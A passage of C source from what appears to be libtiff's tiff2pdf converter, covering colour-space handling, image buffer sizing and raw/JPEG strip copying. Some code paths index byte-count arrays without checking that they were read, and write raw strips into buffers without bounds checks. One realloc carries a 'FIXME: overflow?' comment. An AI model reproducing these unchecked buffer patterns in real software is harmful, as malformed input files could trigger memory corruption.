TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_colorspace=T2P_CS_CMYK | T2P_CS_PALETTE; t2p->pdf_palettesize=0x0001<<t2p->tiff_bitspersample; if(!TIFFGetField(input, TIFFTAG_COLORMAP, &r, &g, &b, &a)){ TIFFError( TIFF2PDF_MODULE, "Palettized image %s has no color map", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } if(t2p->pdf_palette != NULL){ _TIFFfree(t2p->pdf_palette); t2p->pdf_palette=NULL; } t2p->pdf_palette = (unsigned char*) _TIFFmalloc(TIFFSafeMultiply(tmsize_t,t2p->pdf_palettesize,4)); if(t2p->pdf_palette==NULL){ TIFFError( TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_read_tiff_image, %s", t2p->pdf_palettesize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<t2p->pdf_palettesize;i++){ t2p->pdf_palette[(i*4)] = (unsigned char) (r[i]>>8); t2p->pdf_palette[(i*4)+1]= (unsigned char) (g[i]>>8); t2p->pdf_palette[(i*4)+2]= (unsigned char) (b[i]>>8); t2p->pdf_palette[(i*4)+3]= (unsigned char) (a[i]>>8); } t2p->pdf_palettesize *= 4; break; case PHOTOMETRIC_YCBCR: t2p->pdf_colorspace=T2P_CS_RGB; if(t2p->tiff_samplesperpixel==1){ t2p->pdf_colorspace=T2P_CS_GRAY; t2p->tiff_photometric=PHOTOMETRIC_MINISBLACK; break; } t2p->pdf_sample=T2P_SAMPLE_YCBCR_TO_RGB; #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ t2p->pdf_sample=T2P_SAMPLE_NOTHING; } #endif break; case PHOTOMETRIC_CIELAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for CIELAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for CIELAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]= -127; t2p->pdf_labrange[1]= 127; t2p->pdf_labrange[2]= -127; t2p->pdf_labrange[3]= 127; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ICCLAB: t2p->pdf_labrange[0]= 0; t2p->pdf_labrange[1]= 255; t2p->pdf_labrange[2]= 0; t2p->pdf_labrange[3]= 255; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_ITULAB: if( t2p->tiff_samplesperpixel != 3){ TIFFError( TIFF2PDF_MODULE, "Unsupported samplesperpixel = %d for ITULAB", t2p->tiff_samplesperpixel); t2p->t2p_error = T2P_ERR_ERROR; return; } if( t2p->tiff_bitspersample != 8){ TIFFError( TIFF2PDF_MODULE, "Invalid bitspersample = %d for ITULAB", t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } t2p->pdf_labrange[0]=-85; t2p->pdf_labrange[1]=85; t2p->pdf_labrange[2]=-75; t2p->pdf_labrange[3]=124; t2p->pdf_sample=T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED; t2p->pdf_colorspace=T2P_CS_LAB; break; case PHOTOMETRIC_LOGL: case PHOTOMETRIC_LOGLUV: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation LogL/LogLuv", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with photometric interpretation %u", TIFFFileName(input), t2p->tiff_photometric); t2p->t2p_error = T2P_ERR_ERROR; return; } if(TIFFGetField(input, TIFFTAG_PLANARCONFIG, &(t2p->tiff_planar))){ switch(t2p->tiff_planar){ case 0: TIFFWarning( TIFF2PDF_MODULE, "Image %s has planar configuration 0, assuming 1", TIFFFileName(input)); t2p->tiff_planar=PLANARCONFIG_CONTIG; case PLANARCONFIG_CONTIG: break; case PLANARCONFIG_SEPARATE: t2p->pdf_sample=T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG; if(t2p->tiff_bitspersample!=8){ TIFFError( TIFF2PDF_MODULE, "No support for %s with separated planar configuration and %u bits per sample", TIFFFileName(input), t2p->tiff_bitspersample); t2p->t2p_error = T2P_ERR_ERROR; return; } break; default: TIFFError( TIFF2PDF_MODULE, "No support for %s with planar configuration %u", TIFFFileName(input), t2p->tiff_planar); t2p->t2p_error = T2P_ERR_ERROR; return; } } TIFFGetFieldDefaulted(input, TIFFTAG_ORIENTATION, &(t2p->tiff_orientation)); if(t2p->tiff_orientation>8){ TIFFWarning(TIFF2PDF_MODULE, "Image %s has orientation %u, assuming 0", TIFFFileName(input), t2p->tiff_orientation); t2p->tiff_orientation=0; } if(TIFFGetField(input, TIFFTAG_XRESOLUTION, &(t2p->tiff_xres) ) == 0){ t2p->tiff_xres=0.0; } if(TIFFGetField(input, TIFFTAG_YRESOLUTION, &(t2p->tiff_yres) ) == 0){ t2p->tiff_yres=0.0; } TIFFGetFieldDefaulted(input, TIFFTAG_RESOLUTIONUNIT, &(t2p->tiff_resunit)); if(t2p->tiff_resunit == RESUNIT_CENTIMETER) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } else if (t2p->tiff_resunit != RESUNIT_INCH && t2p->pdf_centimeters != 0) { t2p->tiff_xres *= 2.54F; t2p->tiff_yres *= 2.54F; } t2p_compose_pdf_page(t2p); if( t2p->t2p_error == T2P_ERR_ERROR ) return; t2p->pdf_transcode = T2P_TRANSCODE_ENCODE; if(t2p->pdf_nopassthrough==0){ #ifdef CCITT_SUPPORT if(t2p->tiff_compression==COMPRESSION_CCITTFAX4 ){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_G4; } } #endif #ifdef ZIP_SUPPORT if(t2p->tiff_compression== COMPRESSION_ADOBE_DEFLATE || t2p->tiff_compression==COMPRESSION_DEFLATE){ if(TIFFIsTiled(input) || (TIFFNumberOfStrips(input)==1) ){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_ZIP; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; t2p_process_ojpeg_tables(t2p, input); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG){ t2p->pdf_transcode = T2P_TRANSCODE_RAW; t2p->pdf_compression=T2P_COMPRESS_JPEG; } #endif (void)0; } if(t2p->pdf_transcode!=T2P_TRANSCODE_RAW){ t2p->pdf_compression = t2p->pdf_defaultcompression; } #ifdef JPEG_SUPPORT if(t2p->pdf_defaultcompression==T2P_COMPRESS_JPEG){ if(t2p->pdf_colorspace & T2P_CS_PALETTE){ t2p->pdf_sample|=T2P_SAMPLE_REALIZE_PALETTE; t2p->pdf_colorspace ^= T2P_CS_PALETTE; t2p->tiff_pages[t2p->pdf_page].page_extra--; } } if(t2p->tiff_compression==COMPRESSION_JPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with JPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ TIFFError( TIFF2PDF_MODULE, "No support for %s with OJPEG compression and separated planar configuration", TIFFFileName(input)); t2p->t2p_error=T2P_ERR_ERROR; return; } } #endif if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ if(t2p->pdf_colorspace & T2P_CS_CMYK){ t2p->tiff_samplesperpixel=4; t2p->tiff_photometric=PHOTOMETRIC_SEPARATED; } else { t2p->tiff_samplesperpixel=3; t2p->tiff_photometric=PHOTOMETRIC_RGB; } } if (TIFFGetField(input, TIFFTAG_TRANSFERFUNCTION, &(t2p->tiff_transferfunction[0]), &(t2p->tiff_transferfunction[1]), &(t2p->tiff_transferfunction[2]))) { if((t2p->tiff_transferfunction[1] != (float*) NULL) && (t2p->tiff_transferfunction[2] != (float*) NULL) && (t2p->tiff_transferfunction[1] != t2p->tiff_transferfunction[0])) { t2p->tiff_transferfunctioncount=3; } else { t2p->tiff_transferfunctioncount=1; } } else { t2p->tiff_transferfunctioncount=0; } if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp)!=0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; if(t2p->pdf_colorspace & T2P_CS_GRAY){ t2p->pdf_colorspace |= T2P_CS_CALGRAY; } if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(TIFFGetField(input, TIFFTAG_PRIMARYCHROMATICITIES, &xfloatp)!=0){ t2p->tiff_primarychromaticities[0]=xfloatp[0]; t2p->tiff_primarychromaticities[1]=xfloatp[1]; t2p->tiff_primarychromaticities[2]=xfloatp[2]; t2p->tiff_primarychromaticities[3]=xfloatp[3]; t2p->tiff_primarychromaticities[4]=xfloatp[4]; t2p->tiff_primarychromaticities[5]=xfloatp[5]; if(t2p->pdf_colorspace & T2P_CS_RGB){ t2p->pdf_colorspace |= T2P_CS_CALRGB; } } if(t2p->pdf_colorspace & T2P_CS_LAB){ if(TIFFGetField(input, TIFFTAG_WHITEPOINT, &xfloatp) != 0){ t2p->tiff_whitechromaticities[0]=xfloatp[0]; t2p->tiff_whitechromaticities[1]=xfloatp[1]; } else { t2p->tiff_whitechromaticities[0]=0.3457F; /* 0.3127F; */ t2p->tiff_whitechromaticities[1]=0.3585F; /* 0.3290F; */ } } if(TIFFGetField(input, TIFFTAG_ICCPROFILE, &(t2p->tiff_iccprofilelength), &(t2p->tiff_iccprofile))!=0){ t2p->pdf_colorspace |= T2P_CS_ICCBASED; } else { t2p->tiff_iccprofilelength=0; t2p->tiff_iccprofile=NULL; } #ifdef CCITT_SUPPORT if( t2p->tiff_bitspersample==1 && t2p->tiff_samplesperpixel==1){ t2p->pdf_compression = T2P_COMPRESS_G4; } #endif return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a page. */ void t2p_read_tiff_size(T2P* t2p, TIFF* input){ uint64* sbc=NULL; #if defined(JPEG_SUPPORT) || defined (OJPEG_SUPPORT) unsigned char* jpt=NULL; tstrip_t i=0; tstrip_t stripcount=0; #endif uint64 k = 0; if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4 ){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef ZIP_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_ZIP){ TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); t2p->tiff_datasize=(tmsize_t)sbc[0]; return; } #endif #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG){ if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); } if(TIFFGetField(input, TIFFTAG_JPEGIFOFFSET, &(t2p->tiff_dataoffset))){ if(t2p->tiff_dataoffset != 0){ if(TIFFGetField(input, TIFFTAG_JPEGIFBYTECOUNT, &(t2p->tiff_datasize))!=0){ if((uint64)t2p->tiff_datasize < k) { TIFFWarning(TIFF2PDF_MODULE, "Input file %s has short JPEG interchange file byte count", TIFFFileName(input)); t2p->pdf_ojpegiflength=t2p->tiff_datasize; k = checkAdd64(k, t2p->tiff_datasize, t2p); k = checkAdd64(k, 6, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } return; }else { TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_JPEGIFBYTECOUNT", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } } } k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, stripcount, t2p); k = checkAdd64(k, 2048, t2p); t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0 ){ if(count > 4){ k += count; k -= 2; /* don't use EOI of header */ } } else { k = 2; /* SOI for first strip */ } stripcount=TIFFNumberOfStrips(input); if(!TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc)){ TIFFError(TIFF2PDF_MODULE, "Input file %s missing field: TIFFTAG_STRIPBYTECOUNTS", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return; } for(i=0;i<stripcount;i++){ k = checkAdd64(k, sbc[i], t2p); k -=2; /* don't use EOI of strip */ k +=2; /* add space for restart marker */ } k = checkAdd64(k, 2, t2p); /* use EOI of last strip */ k = checkAdd64(k, 6, t2p); /* for DRI marker of first strip */ t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } #endif (void) 0; } k = checkMultiply64(TIFFScanlineSize(input), t2p->tiff_length, t2p); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFScanlineSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* This function returns the necessary size of a data buffer to contain the raw or uncompressed image data from the input TIFF for a tile of a page. */ void t2p_read_tiff_size_tile(T2P* t2p, TIFF* input, ttile_t tile){ uint64* tbc = NULL; uint16 edge=0; #ifdef JPEG_SUPPORT unsigned char* jpt; #endif uint64 k; edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile); edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile); if(t2p->pdf_transcode==T2P_TRANSCODE_RAW){ if(edge #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) && !(t2p->pdf_compression==T2P_COMPRESS_JPEG) #endif ){ t2p->tiff_datasize=TIFFTileSize(input); if (t2p->tiff_datasize == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } return; } else { TIFFGetField(input, TIFFTAG_TILEBYTECOUNTS, &tbc); k=tbc[tile]; #ifdef OJPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_OJPEG){ k = checkAdd64(k, 2048, t2p); } #endif #ifdef JPEG_SUPPORT if(t2p->tiff_compression==COMPRESSION_JPEG) { uint32 count = 0; if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt)!=0){ if(count > 4){ k = checkAdd64(k, count, t2p); k -= 2; /* don't use EOI of header or SOI of tile */ } } } #endif t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } } k = TIFFTileSize(input); if(t2p->tiff_planar==PLANARCONFIG_SEPARATE){ k = checkMultiply64(k, t2p->tiff_samplesperpixel, t2p); } if (k == 0) { /* Assume we had overflow inside TIFFTileSize */ t2p->t2p_error = T2P_ERR_ERROR; } t2p->tiff_datasize = (tsize_t) k; if ((uint64) t2p->tiff_datasize != k) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; } return; } /* * This functions returns a non-zero value when the tile is on the right edge * and does not have full imaged tile width. */ int t2p_tile_is_right_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) % tiles.tiles_tilecountx == 0) && (tiles.tiles_edgetilewidth != 0) ){ return(1); } else { return(0); } } /* * This functions returns a non-zero value when the tile is on the bottom edge * and does not have full imaged tile length. */ int t2p_tile_is_bottom_edge(T2P_TILES tiles, ttile_t tile){ if( ((tile+1) > (tiles.tiles_tilecount-tiles.tiles_tilecountx) ) && (tiles.tiles_edgetilelength != 0) ){ return(1); } else { return(0); } } /* * This function returns a non-zero value when the tile is a right edge tile * or a bottom edge tile. */ int t2p_tile_is_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) | t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function returns a non-zero value when the tile is a right edge tile and a bottom edge tile. */ int t2p_tile_is_corner_edge(T2P_TILES tiles, ttile_t tile){ return(t2p_tile_is_right_edge(tiles, tile) & t2p_tile_is_bottom_edge(tiles, tile) ); } /* This function reads the raster image data from the input TIFF for an image and writes the data to the output PDF XObject image dictionary stream. It returns the amount written or zero on error. */ tsize_t t2p_readwrite_pdf_image(T2P* t2p, TIFF* input, TIFF* output){ tsize_t written=0; unsigned char* buffer=NULL; unsigned char* samplebuffer=NULL; tsize_t bufferoffset=0; tsize_t samplebufferoffset=0; tsize_t read=0; tstrip_t i=0; tstrip_t j=0; tstrip_t stripcount=0; tsize_t stripsize=0; tsize_t sepstripcount=0; tsize_t sepstripsize=0; #ifdef OJPEG_SUPPORT toff_t inputoffset=0; uint16 h_samp=1; uint16 v_samp=1; uint16 ri=1; uint32 rows=0; #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT unsigned char* jpt; float* xfloatp; uint64* sbc; unsigned char* stripbuffer; tsize_t striplength=0; uint32 max_striplength=0; #endif /* ifdef JPEG_SUPPORT */ /* Fail if prior error (in particular, can't trust tiff_datasize) */ if (t2p->t2p_error != T2P_ERR_OK) return(0); if(t2p->pdf_transcode == T2P_TRANSCODE_RAW){ #ifdef CCITT_SUPPORT if(t2p->pdf_compression == T2P_COMPRESS_G4){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if (buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for " "t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){ /* * make sure is lsb-to-msb * bit-endianness fill order */ TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef CCITT_SUPPORT */ #ifdef ZIP_SUPPORT if (t2p->pdf_compression == T2P_COMPRESS_ZIP) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); TIFFReadRawStrip(input, 0, (tdata_t) buffer, t2p->tiff_datasize); if (t2p->tiff_fillorder==FILLORDER_LSB2MSB) { TIFFReverseBits(buffer, t2p->tiff_datasize); } t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } #endif /* ifdef ZIP_SUPPORT */ #ifdef OJPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_OJPEG) { if(t2p->tiff_dataoffset != 0) { buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer == NULL) { TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if(t2p->pdf_ojpegiflength==0){ inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); t2pReadFile(input, (tdata_t) buffer, t2p->tiff_datasize); t2pSeekFile(input, inputoffset, SEEK_SET); t2pWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize); _TIFFfree(buffer); return(t2p->tiff_datasize); } else { inputoffset=t2pSeekFile(input, 0, SEEK_CUR); t2pSeekFile(input, t2p->tiff_dataoffset, SEEK_SET); bufferoffset = t2pReadFile(input, (tdata_t) buffer, t2p->pdf_ojpegiflength); t2p->pdf_ojpegiflength = 0; t2pSeekFile(input, inputoffset, SEEK_SET); TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp); buffer[bufferoffset++]= 0xff; buffer[bufferoffset++]= 0xdd; buffer[bufferoffset++]= 0x00; buffer[bufferoffset++]= 0x04; h_samp*=8; v_samp*=8; ri=(t2p->tiff_width+h_samp-1) / h_samp; TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows); ri*=(rows+v_samp-1)/v_samp; buffer[bufferoffset++]= (ri>>8) & 0xff; buffer[bufferoffset++]= ri & 0xff; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0 ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); } } else { if(! t2p->pdf_ojpegdata){ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with bad tables", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); _TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength); bufferoffset=t2p->pdf_ojpegdatalength; stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ if(i != 0){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=(0xd0 | ((i-1)%8)); } bufferoffset+=TIFFReadRawStrip(input, i, (tdata_t) &(((unsigned char*)buffer)[bufferoffset]), -1); } if( ! ( (buffer[bufferoffset-1]==0xd9) && (buffer[bufferoffset-2]==0xff) ) ){ buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; } t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(buffer); return(bufferoffset); #if 0 /* This hunk of code removed code is clearly mis-placed and we are not sure where it should be (if anywhere) */ TIFFError(TIFF2PDF_MODULE, "No support for OJPEG image %s with no JPEG File Interchange offset", TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); #endif } } #endif /* ifdef OJPEG_SUPPORT */ #ifdef JPEG_SUPPORT if(t2p->tiff_compression == COMPRESSION_JPEG) { uint32 count = 0; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); if (TIFFGetField(input, TIFFTAG_JPEGTABLES, &count, &jpt) != 0) { if(count > 4) { _TIFFmemcpy(buffer, jpt, count); bufferoffset += count - 2; } } stripcount=TIFFNumberOfStrips(input); TIFFGetField(input, TIFFTAG_STRIPBYTECOUNTS, &sbc); for(i=0;i<stripcount;i++){ if(sbc[i]>max_striplength) max_striplength=sbc[i]; } stripbuffer = (unsigned char*) _TIFFmalloc(max_striplength); if(stripbuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %u bytes of memory for t2p_readwrite_pdf_image, %s", max_striplength, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } for(i=0;i<stripcount;i++){ striplength=TIFFReadRawStrip(input, i, (tdata_t) stripbuffer, -1); if(!t2p_process_jpeg_strip( stripbuffer, &striplength, buffer, &bufferoffset, i, t2p->tiff_length)){ TIFFError(TIFF2PDF_MODULE, "Can't process JPEG data in input file %s", TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error = T2P_ERR_ERROR; return(0); } } buffer[bufferoffset++]=0xff; buffer[bufferoffset++]=0xd9; t2pWriteFile(output, (tdata_t) buffer, bufferoffset); _TIFFfree(stripbuffer); _TIFFfree(buffer); return(bufferoffset); } #endif /* ifdef JPEG_SUPPORT */ (void)0; } if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){ buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } } else { if(t2p->pdf_sample & T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){ sepstripsize=TIFFStripSize(input); sepstripcount=TIFFNumberOfStrips(input); stripsize=sepstripsize*t2p->tiff_samplesperpixel; stripcount=sepstripcount/t2p->tiff_samplesperpixel; buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); samplebuffer = (unsigned char*) _TIFFmalloc(stripsize); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; _TIFFfree(buffer); return(0); } for(i=0;i<stripcount;i++){ samplebufferoffset=0; for(j=0;j<t2p->tiff_samplesperpixel;j++){ read = TIFFReadEncodedStrip(input, i + j*stripcount, (tdata_t) &(samplebuffer[samplebufferoffset]), TIFFmin(sepstripsize, stripsize - samplebufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i + j*stripcount, TIFFFileName(input)); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } samplebufferoffset+=read; } t2p_sample_planar_separate_to_contig( t2p, &(buffer[bufferoffset]), samplebuffer, samplebufferoffset); bufferoffset+=samplebufferoffset; } _TIFFfree(samplebuffer); goto dataready; } buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize); if(buffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't allocate %lu bytes of memory for t2p_readwrite_pdf_image, %s", (unsigned long) t2p->tiff_datasize, TIFFFileName(input)); t2p->t2p_error = T2P_ERR_ERROR; return(0); } memset(buffer, 0, t2p->tiff_datasize); stripsize=TIFFStripSize(input); stripcount=TIFFNumberOfStrips(input); for(i=0;i<stripcount;i++){ read = TIFFReadEncodedStrip(input, i, (tdata_t) &buffer[bufferoffset], TIFFmin(stripsize, t2p->tiff_datasize - bufferoffset)); if(read==-1){ TIFFError(TIFF2PDF_MODULE, "Error on decoding strip %u of %s", i, TIFFFileName(input)); _TIFFfree(samplebuffer); _TIFFfree(buffer); t2p->t2p_error=T2P_ERR_ERROR; return(0); } bufferoffset+=read; } if(t2p->pdf_sample & T2P_SAMPLE_REALIZE_PALETTE){ // FIXME: overflow? samplebuffer=(unsigned char*)_TIFFrealloc( (tdata_t) buffer, t2p->tiff_datasize * t2p->tiff_samplesperpixel); if(samplebuffer==NULL){ TIFFError(TIFF2PDF_MODULE, "Can't 